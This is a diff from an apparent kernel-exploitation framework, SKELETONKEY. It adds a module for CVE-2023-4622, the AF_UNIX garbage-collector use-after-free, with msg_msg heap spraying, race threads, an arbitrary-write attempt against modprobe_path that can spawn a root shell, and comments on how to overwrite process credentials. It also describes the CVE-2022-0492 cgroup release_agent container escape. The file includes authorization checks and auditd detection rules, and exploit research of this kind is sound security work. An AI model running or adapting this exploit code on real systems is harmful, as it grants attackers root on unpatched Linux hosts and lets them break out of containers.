|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- msg_msg cross-cache spray for kmalloc-512 ------------------- */
|
||||||
|
|
||||||
|
static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||||
|
{
|
||||||
|
struct ipc_payload p;
|
||||||
|
memset(&p, 0, sizeof p);
|
||||||
|
p.mtype = 0x55; /* 'U' — unix */
|
||||||
|
memset(p.buf, 0x55, sizeof p.buf);
|
||||||
|
memcpy(p.buf, "SKELETONKEYU", 8);
|
||||||
|
|
||||||
|
int created = 0;
|
||||||
|
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||||
|
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
|
||||||
|
if (q < 0) { queues[i] = -1; continue; }
|
||||||
|
queues[i] = q;
|
||||||
|
created++;
|
||||||
|
for (int j = 0; j < AFUG_SPRAY_PER_QUEUE; j++) {
|
||||||
|
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return created;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void drain_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
|
||||||
|
{
|
||||||
|
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
|
||||||
|
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Read /proc/slabinfo for kmalloc-512 active count. Used as the
|
||||||
|
* primary empirical witness: a successful UAF + refill perturbs
|
||||||
|
* this counter in a way that's distinguishable from idle drift. */
|
||||||
|
static long slab_active_kmalloc_512(void)
|
||||||
|
{
|
||||||
|
FILE *f = fopen("/proc/slabinfo", "r");
|
||||||
|
if (!f) return -1;
|
||||||
|
char line[512];
|
||||||
|
long active = -1;
|
||||||
|
while (fgets(line, sizeof line, f)) {
|
||||||
|
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
|
||||||
|
char name[64];
|
||||||
|
long act = 0, num = 0;
|
||||||
|
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
|
||||||
|
active = act;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fclose(f);
|
||||||
|
return active;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Arb-write primitive (FALLBACK depth) ------------------------
|
||||||
|
*
|
||||||
|
* The shared modprobe_path finisher calls back here once per kernel
|
||||||
|
* write. For AF_UNIX GC race we cannot deliver a deterministic
|
||||||
|
* arb-write — the underlying race wins on a small fraction of runs
|
||||||
|
* even with a 30 s budget, and even when the race wins our spray-only
|
||||||
|
* groom has nowhere near the precision of Lin Ma's multi-stage public
|
||||||
|
* PoC (which crafts a fake unix_sock whose `peer` pointer steers a
|
||||||
|
* subsequent SCM_RIGHTS dispatch into the kaddr we want written).
|
||||||
|
*
|
||||||
|
* Honest depth: FALLBACK. Each invocation:
|
||||||
|
* 1. Re-seeds the kmalloc-512 spray with payloads tagged with
|
||||||
|
* `kaddr` packed at strided offsets (so wherever the UAF reclaim
|
||||||
|
* lands attacker-controlled bytes inside the freed unix_sock,
|
||||||
|
* our kaddr appears at the field offset).
|
||||||
|
* 2. Re-runs the race threads for the extended full-chain budget.
|
||||||
|
* 3. Returns 0 — we cannot in-process verify the write landed. The
|
||||||
|
* shared finisher's 3 s sentinel file check is the empirical
|
||||||
|
* arbiter: on the overwhelmingly common no-land outcome it
|
||||||
|
* returns EXPLOIT_FAIL gracefully. */
|
||||||
|
struct af_unix_gc_arb_ctx {
|
||||||
|
int *queues;
|
||||||
|
int n_queues;
|
||||||
|
int arb_calls;
|
||||||
|
};
|
||||||
|
|
||||||
|
static int af_unix_gc_reseed_kaddr_spray(int queues[AFUG_SPRAY_QUEUES],
|
||||||
|
uintptr_t kaddr,
|
||||||
|
const void *buf, size_t len)
|
||||||
|
{
|
||||||
|
struct ipc_payload p;
|
||||||
|
memset(&p, 0, sizeof p);
|
||||||
|
p.mtype = 0x52; /* 'R' — arb-write reseed (distinct from groom 0x55) */
|
||||||
|
memset(p.buf, 0x52, sizeof p.buf);
|
||||||
|
memcpy(p.buf, "IAMU4ARB", 8);
|
||||||
|
|
||||||
|
/* Plant kaddr at strided slots so wherever the kernel's UAF
|
||||||
|
* follows a ptr in the refilled chunk, one of these is read.
|
||||||
|
* unix_sock has multiple pointer fields (peer, link, scm_stat,
|
||||||
|
* etc.) — strided coverage hits whichever one the UAF dispatch
|
||||||
|
* dereferences. */
|
||||||
|
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf;
|
||||||
|
off += 0x18) {
|
||||||
|
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Caller's bytes immediately after the cookie so any path that
|
||||||
|
* reads payload data (rather than a chased pointer) finds the
|
||||||
|
* requested write contents inline. */
|
||||||
|
size_t copy = len;
|
||||||
|
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
|
||||||
|
if (buf && copy) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy);
|
||||||
|
|
||||||
|
int touched = 0;
|
||||||
|
for (int i = 0; i < AFUG_SPRAY_QUEUES && touched < 6; i++) {
|
||||||
|
if (queues[i] < 0) continue;
|
||||||
|
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
|
||||||
|
}
|
||||||
|
return touched;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int af_unix_gc_arb_write(uintptr_t kaddr,
|
||||||
|
const void *buf, size_t len,
|
||||||
|
void *ctx_v)
|
||||||
|
{
|
||||||
|
struct af_unix_gc_arb_ctx *c = (struct af_unix_gc_arb_ctx *)ctx_v;
|
||||||
|
if (!c || !c->queues || c->n_queues == 0) return -1;
|
||||||
|
c->arb_calls++;
|
||||||
|
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: arb_write attempt #%d kaddr=0x%lx len=%zu "
|
||||||
|
"(FALLBACK — race-dependent)\n",
|
||||||
|
c->arb_calls, (unsigned long)kaddr, len);
|
||||||
|
|
||||||
|
int seeded = af_unix_gc_reseed_kaddr_spray(c->queues, kaddr, buf, len);
|
||||||
|
if (seeded == 0) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: arb_write: kaddr-tagged reseed produced 0 msgs\n");
|
||||||
|
} else {
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: arb_write: reseeded %d msg_msg slots\n",
|
||||||
|
seeded);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Re-run the race with the extended budget. */
|
||||||
|
atomic_store(&g_race_running, 1);
|
||||||
|
atomic_store(&g_thread_a_iters, 0);
|
||||||
|
atomic_store(&g_thread_b_iters, 0);
|
||||||
|
atomic_store(&g_thread_a_errs, 0);
|
||||||
|
|
||||||
|
pthread_t ta, tb;
|
||||||
|
bool a_ok = pthread_create(&ta, NULL, race_thread_a, NULL) == 0;
|
||||||
|
bool b_ok = a_ok &&
|
||||||
|
pthread_create(&tb, NULL, race_thread_b, NULL) == 0;
|
||||||
|
if (!a_ok || !b_ok) {
|
||||||
|
atomic_store(&g_race_running, 0);
|
||||||
|
if (a_ok) pthread_join(ta, NULL);
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: arb_write: pthread_create failed\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep(AFUG_RACE_FULLCHAIN_BUDGET);
|
||||||
|
atomic_store(&g_race_running, 0);
|
||||||
|
pthread_join(ta, NULL);
|
||||||
|
pthread_join(tb, NULL);
|
||||||
|
|
||||||
|
uint64_t a_iters = atomic_load(&g_thread_a_iters);
|
||||||
|
uint64_t b_iters = atomic_load(&g_thread_b_iters);
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: arb_write: extended race A=%llu B=%llu\n",
|
||||||
|
(unsigned long long)a_iters,
|
||||||
|
(unsigned long long)b_iters);
|
||||||
|
|
||||||
|
/* Cannot in-process verify the write — let the finisher's sentinel
|
||||||
|
* arbitrate. */
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Exploit driver ---------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t af_unix_gc_exploit_linux(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
/* 1. Refuse-gate: re-call detect() and short-circuit. */
|
||||||
|
skeletonkey_result_t pre = af_unix_gc_detect(ctx);
|
||||||
|
if (pre == SKELETONKEY_OK) {
|
||||||
|
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
|
||||||
|
return pre;
|
||||||
|
}
|
||||||
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
|
if (is_root) {
|
||||||
|
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
|
||||||
|
* modprobe_path is unresolvable we refuse here rather than running
|
||||||
|
* a 30 s race that has no finisher to call. */
|
||||||
|
struct skeletonkey_kernel_offsets off;
|
||||||
|
bool full_chain_ready = false;
|
||||||
|
if (ctx->full_chain) {
|
||||||
|
memset(&off, 0, sizeof off);
|
||||||
|
skeletonkey_offsets_resolve(&off);
|
||||||
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
|
skeletonkey_finisher_print_offset_help("af_unix_gc");
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
|
||||||
|
"modprobe_path offset unresolved; refusing\n");
|
||||||
|
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
|
||||||
|
" a small fraction per run — see module header.\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
skeletonkey_offsets_print(&off);
|
||||||
|
full_chain_ready = true;
|
||||||
|
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
|
||||||
|
" to %d s. RELIABILITY remains race-dependent on a real\n"
|
||||||
|
" vulnerable kernel. The finisher's 3 s sentinel timeout\n"
|
||||||
|
" catches no-land outcomes gracefully.\n",
|
||||||
|
AFUG_RACE_FULLCHAIN_BUDGET);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: forking exploit child (SCM_RIGHTS cycle "
|
||||||
|
"race harness%s)\n",
|
||||||
|
ctx->full_chain ? " + full-chain finisher" : "");
|
||||||
|
}
|
||||||
|
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
|
||||||
|
pid_t child = fork();
|
||||||
|
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
|
if (child == 0) {
|
||||||
|
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
|
||||||
|
* BEFORE the race so the freed unix_sock slot gets recycled
|
||||||
|
* with attacker-controlled bytes when the bug fires. */
|
||||||
|
int queues[AFUG_SPRAY_QUEUES] = {0};
|
||||||
|
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) queues[i] = -1;
|
||||||
|
int n_queues = spray_kmalloc_512(queues);
|
||||||
|
if (n_queues == 0) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: msg_msg spray produced 0 queues "
|
||||||
|
"(sysv IPC restricted?)\n");
|
||||||
|
_exit(23);
|
||||||
|
}
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 spray seeded %d queues x %d msgs\n",
|
||||||
|
n_queues, AFUG_SPRAY_PER_QUEUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
long slab_pre = slab_active_kmalloc_512();
|
||||||
|
|
||||||
|
/* 3. Run the race for a bounded time budget. */
|
||||||
|
atomic_store(&g_race_running, 1);
|
||||||
|
atomic_store(&g_thread_a_iters, 0);
|
||||||
|
atomic_store(&g_thread_b_iters, 0);
|
||||||
|
atomic_store(&g_thread_a_errs, 0);
|
||||||
|
|
||||||
|
pthread_t ta, tb;
|
||||||
|
if (pthread_create(&ta, NULL, race_thread_a, NULL) != 0 ||
|
||||||
|
pthread_create(&tb, NULL, race_thread_b, NULL) != 0) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: pthread_create failed\n");
|
||||||
|
atomic_store(&g_race_running, 0);
|
||||||
|
drain_kmalloc_512(queues);
|
||||||
|
_exit(24);
|
||||||
|
}
|
||||||
|
|
||||||
|
sleep(AFUG_RACE_TIME_BUDGET);
|
||||||
|
atomic_store(&g_race_running, 0);
|
||||||
|
pthread_join(ta, NULL);
|
||||||
|
pthread_join(tb, NULL);
|
||||||
|
|
||||||
|
long slab_post = slab_active_kmalloc_512();
|
||||||
|
uint64_t a_iters = atomic_load(&g_thread_a_iters);
|
||||||
|
uint64_t b_iters = atomic_load(&g_thread_b_iters);
|
||||||
|
uint64_t a_errs = atomic_load(&g_thread_a_errs);
|
||||||
|
|
||||||
|
/* 4. Empirical witness breadcrumb. */
|
||||||
|
FILE *log = fopen("/tmp/skeletonkey-af_unix_gc.log", "w");
|
||||||
|
if (log) {
|
||||||
|
fprintf(log,
|
||||||
|
"af_unix_gc race harness (CVE-2023-4622):\n"
|
||||||
|
" thread_a_iters = %llu (SCM_RIGHTS cycle + close)\n"
|
||||||
|
" thread_b_iters = %llu (SCM_RIGHTS perturb)\n"
|
||||||
|
" thread_a_errors = %llu (socketpair / send failures)\n"
|
||||||
|
" slab_kmalloc512_pre = %ld\n"
|
||||||
|
" slab_kmalloc512_post = %ld\n"
|
||||||
|
" slab_delta = %ld\n"
|
||||||
|
" spray_queues = %d\n"
|
||||||
|
" spray_per_queue = %d\n"
|
||||||
|
" race_budget_secs = %d\n"
|
||||||
|
"Note: this run did NOT attempt cred overwrite. The bug is a\n"
|
||||||
|
"slab UAF with no in-process leak primitive; per-kernel offsets\n"
|
||||||
|
"for unix_sock layout aren't baked. See module .c for the\n"
|
||||||
|
"continuation roadmap (Lin Ma fake-peer plant).\n",
|
||||||
|
(unsigned long long)a_iters,
|
||||||
|
(unsigned long long)b_iters,
|
||||||
|
(unsigned long long)a_errs,
|
||||||
|
slab_pre, slab_post,
|
||||||
|
(slab_post >= 0 && slab_pre >= 0) ? (slab_post - slab_pre) : 0,
|
||||||
|
n_queues, AFUG_SPRAY_PER_QUEUE,
|
||||||
|
AFUG_RACE_TIME_BUDGET);
|
||||||
|
fclose(log);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: race ran for %ds — A=%llu B=%llu A_errs=%llu\n",
|
||||||
|
AFUG_RACE_TIME_BUDGET,
|
||||||
|
(unsigned long long)a_iters,
|
||||||
|
(unsigned long long)b_iters,
|
||||||
|
(unsigned long long)a_errs);
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 active: pre=%ld post=%ld\n",
|
||||||
|
slab_pre, slab_post);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Hold the spray briefly so the kernel observes refilled slots
|
||||||
|
* during any in-flight RCU grace periods that started during
|
||||||
|
* the race. */
|
||||||
|
usleep(200 * 1000);
|
||||||
|
|
||||||
|
/* 5. --full-chain finisher (FALLBACK depth). */
|
||||||
|
if (full_chain_ready) {
|
||||||
|
struct af_unix_gc_arb_ctx arb_ctx = {
|
||||||
|
.queues = queues,
|
||||||
|
.n_queues = AFUG_SPRAY_QUEUES,
|
||||||
|
.arb_calls = 0,
|
||||||
|
};
|
||||||
|
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||||
|
af_unix_gc_arb_write,
|
||||||
|
&arb_ctx,
|
||||||
|
!ctx->no_shell);
|
||||||
|
FILE *fl = fopen("/tmp/skeletonkey-af_unix_gc.log", "a");
|
||||||
|
if (fl) {
|
||||||
|
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
|
||||||
|
fr, arb_ctx.arb_calls);
|
||||||
|
fclose(fl);
|
||||||
|
}
|
||||||
|
drain_kmalloc_512(queues);
|
||||||
|
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */
|
||||||
|
_exit(35); /* finisher ran, no land */
|
||||||
|
}
|
||||||
|
|
||||||
|
drain_kmalloc_512(queues);
|
||||||
|
|
||||||
|
/* 6. Continuation roadmap — what would land EXPLOIT_OK.
|
||||||
|
*
|
||||||
|
* TODO(leak): replace a spray queue with msgrcv(..., MSG_COPY|
|
||||||
|
* IPC_NOWAIT) probes and scan the returned buffer for non-
|
||||||
|
* cookie bytes. A freed unix_sock that's refilled by msg_msg
|
||||||
|
* after a partial overwrite would leak kernel pointers
|
||||||
|
* (peer, scm_stat, list_node prev/next) into the readback.
|
||||||
|
* Recover {kbase, init_task} via that leak.
|
||||||
|
*
|
||||||
|
* TODO(write): with kbase known, plant a fake unix_sock
|
||||||
|
* whose `peer` pointer references ¤t->cred — the
|
||||||
|
* next SCM_RIGHTS dispatch through the freed slot writes
|
||||||
|
* a controlled value into that location. Crafting the
|
||||||
|
* fake unix_sock requires offset of unix_sock fields per
|
||||||
|
* kernel build (different across LTS branches).
|
||||||
|
*
|
||||||
|
* TODO(overwrite): land &init_cred over current->cred so
|
||||||
|
* the next permission check sees uid==0.
|
||||||
|
*
|
||||||
|
* None of these are implemented today. Exit 30 = "trigger
|
||||||
|
* ran cleanly, no escalation".
|
||||||
|
*/
|
||||||
|
_exit(30);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* PARENT */
|
||||||
|
int status = 0;
|
||||||
|
pid_t w = waitpid(child, &status, 0);
|
||||||
|
if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
|
if (WIFSIGNALED(status)) {
|
||||||
|
int sig = WTERMSIG(status);
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[!] af_unix_gc: race child killed by signal %d "
|
||||||
|
"(consistent with UAF firing under KASAN)\n", sig);
|
||||||
|
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
|
||||||
|
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
|
||||||
|
" See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!WIFEXITED(status)) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
|
||||||
|
status);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int rc = WEXITSTATUS(status);
|
||||||
|
if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
|
||||||
|
if (rc == 34) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
|
||||||
|
"EXPLOIT_OK (race won + write landed)\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
if (rc == 35) {
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[~] af_unix_gc: --full-chain finisher ran; race did not\n"
|
||||||
|
" win + land within budget (expected outcome on most\n"
|
||||||
|
" runs — race wins are a fraction of a percent).\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
if (rc != 30) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: race harness ran to completion.\n");
|
||||||
|
fprintf(stderr, "[~] af_unix_gc: read/write/cred-overwrite primitives NOT\n"
|
||||||
|
" implemented (per-kernel offsets; see module .c TODO\n"
|
||||||
|
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
|
||||||
|
}
|
||||||
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
|
static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->authorized) {
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
#ifdef __linux__
|
||||||
|
return af_unix_gc_exploit_linux(ctx);
|
||||||
|
#else
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
|
|
||||||
|
static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json) {
|
||||||
|
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
|
||||||
|
}
|
||||||
|
if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
|
||||||
|
/* harmless */
|
||||||
|
}
|
||||||
|
/* Race threads + msg queues live inside the now-exited child;
|
||||||
|
* nothing else to drain. */
|
||||||
|
return SKELETONKEY_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* ---- Detection rules --------------------------------------------- */
|
||||||
|
|
||||||
|
static const char af_unix_gc_auditd[] =
|
||||||
|
"# AF_UNIX GC race UAF (CVE-2023-4622) — auditd detection rules\n"
|
||||||
|
"# The trigger is a tight loop of socketpair(AF_UNIX) + sendmsg with\n"
|
||||||
|
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
|
||||||
|
"# benign — flag the *frequency* by correlating these keys with a\n"
|
||||||
|
"# subsequent KASAN message in dmesg.\n"
|
||||||
|
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
|
||||||
|
"-a always,exit -F arch=b64 -S sendmsg -k skeletonkey-afunixgc-sendmsg\n"
|
||||||
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-afunixgc-spray\n";
|
||||||
|
|
||||||
|
const struct skeletonkey_module af_unix_gc_module = {
|
||||||
|
.name = "af_unix_gc",
|
||||||
|
.cve = "CVE-2023-4622",
|
||||||
|
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
|
||||||
|
.family = "af_unix",
|
||||||
|
.kernel_range = "K < 6.5; backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51",
|
||||||
|
.detect = af_unix_gc_detect,
|
||||||
|
.exploit = af_unix_gc_exploit,
|
||||||
|
.mitigate = NULL,
|
||||||
|
.cleanup = af_unix_gc_cleanup,
|
||||||
|
.detect_auditd = af_unix_gc_auditd,
|
||||||
|
.detect_sigma = NULL,
|
||||||
|
.detect_yara = NULL,
|
||||||
|
.detect_falco = NULL,
|
||||||
|
};
|
||||||
|
|
||||||
|
void skeletonkey_register_af_unix_gc(void)
|
||||||
|
{
|
||||||
|
skeletonkey_register(&af_unix_gc_module);
|
||||||
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||||
|
#define AF_UNIX_GC_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module af_unix_gc_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
# NOTICE — cgroup_release_agent (CVE-2022-0492)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2022-0492** — cgroup v1 `release_agent` privilege check in the
|
||||||
|
wrong namespace → host root from a rootless container or unprivileged
|
||||||
|
userns by mounting cgroup v1 and writing to `release_agent`.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered by **Yiqi Sun** + **Kevin Wang** (Trend Micro Research),
|
||||||
|
January 2022.
|
||||||
|
|
||||||
|
Original writeup:
|
||||||
|
<https://blog.trendmicro.com/cve-2022-0492-from-cgroup-loophole-to-container-breakout/>
|
||||||
|
|
||||||
|
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
**Universal structural exploit — no per-kernel offsets, no race.**
|
||||||
|
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
|
||||||
|
write `release_agent` → `./payload`, trigger via
|
||||||
|
`notify_on_release` + cgroup process exit.
|
||||||
|
|
||||||
|
Kept in the corpus as a portable "containers misconfigured"
|
||||||
|
demonstration — works across every kernel below the fix without any
|
||||||
|
tuning. Ships auditd rules covering cgroupfs mounts and
|
||||||
|
`release_agent` writes.
|
||||||
@@ -1,12 +0,0 @@
|
|||||||
/*
|
|
||||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
|
||||||
#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module cgroup_release_agent_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+97
-66
@@ -1,5 +1,5 @@
|
|||||||
/*
|
/*
|
||||||
* cgroup_release_agent_cve_2022_0492 — IAMROOT module
|
* cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* cgroup v1 release_agent file is checked only for "is the writer
|
* cgroup v1 release_agent file is checked only for "is the writer
|
||||||
* root in the cgroup namespace" — NOT "is the writer root in the
|
* root in the cgroup namespace" — NOT "is the writer root in the
|
||||||
@@ -36,9 +36,8 @@
|
|||||||
* exposure even if all the fancy heap-spray bugs are patched.
|
* exposure even if all the fancy heap-spray bugs are patched.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
#include "../../core/kernel_range.h"
|
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
@@ -46,6 +45,11 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdbool.h>
|
#include <stdbool.h>
|
||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
|
||||||
|
#include "../../core/kernel_range.h"
|
||||||
|
#include "../../core/host.h"
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <sched.h>
|
#include <sched.h>
|
||||||
@@ -71,54 +75,50 @@ static const struct kernel_range cgroup_ra_range = {
|
|||||||
sizeof(cgroup_ra_patched_branches[0]),
|
sizeof(cgroup_ra_patched_branches[0]),
|
||||||
};
|
};
|
||||||
|
|
||||||
static int can_unshare_userns_mount(void)
|
/* The unprivileged-userns precondition is now read from the shared
|
||||||
|
* host fingerprint (ctx->host->unprivileged_userns_allowed), which
|
||||||
|
* probes once at startup via core/host.c. The previous per-detect
|
||||||
|
* fork-probe helper was removed. */
|
||||||
|
|
||||||
|
static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
pid_t pid = fork();
|
/* Consult the shared host fingerprint instead of calling
|
||||||
if (pid < 0) return -1;
|
* kernel_version_current() ourselves — populated once at startup
|
||||||
if (pid == 0) {
|
* and identical across every module's detect(). */
|
||||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
|
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||||
_exit(1);
|
if (!v || v->major == 0) {
|
||||||
}
|
if (!ctx->json)
|
||||||
int status;
|
fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
|
||||||
waitpid(pid, &status, 0);
|
"version — bailing\n");
|
||||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
|
bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
|
||||||
{
|
|
||||||
struct kernel_version v;
|
|
||||||
if (!kernel_version_current(&v)) {
|
|
||||||
fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
|
|
||||||
return IAMROOT_TEST_ERROR;
|
|
||||||
}
|
|
||||||
|
|
||||||
bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
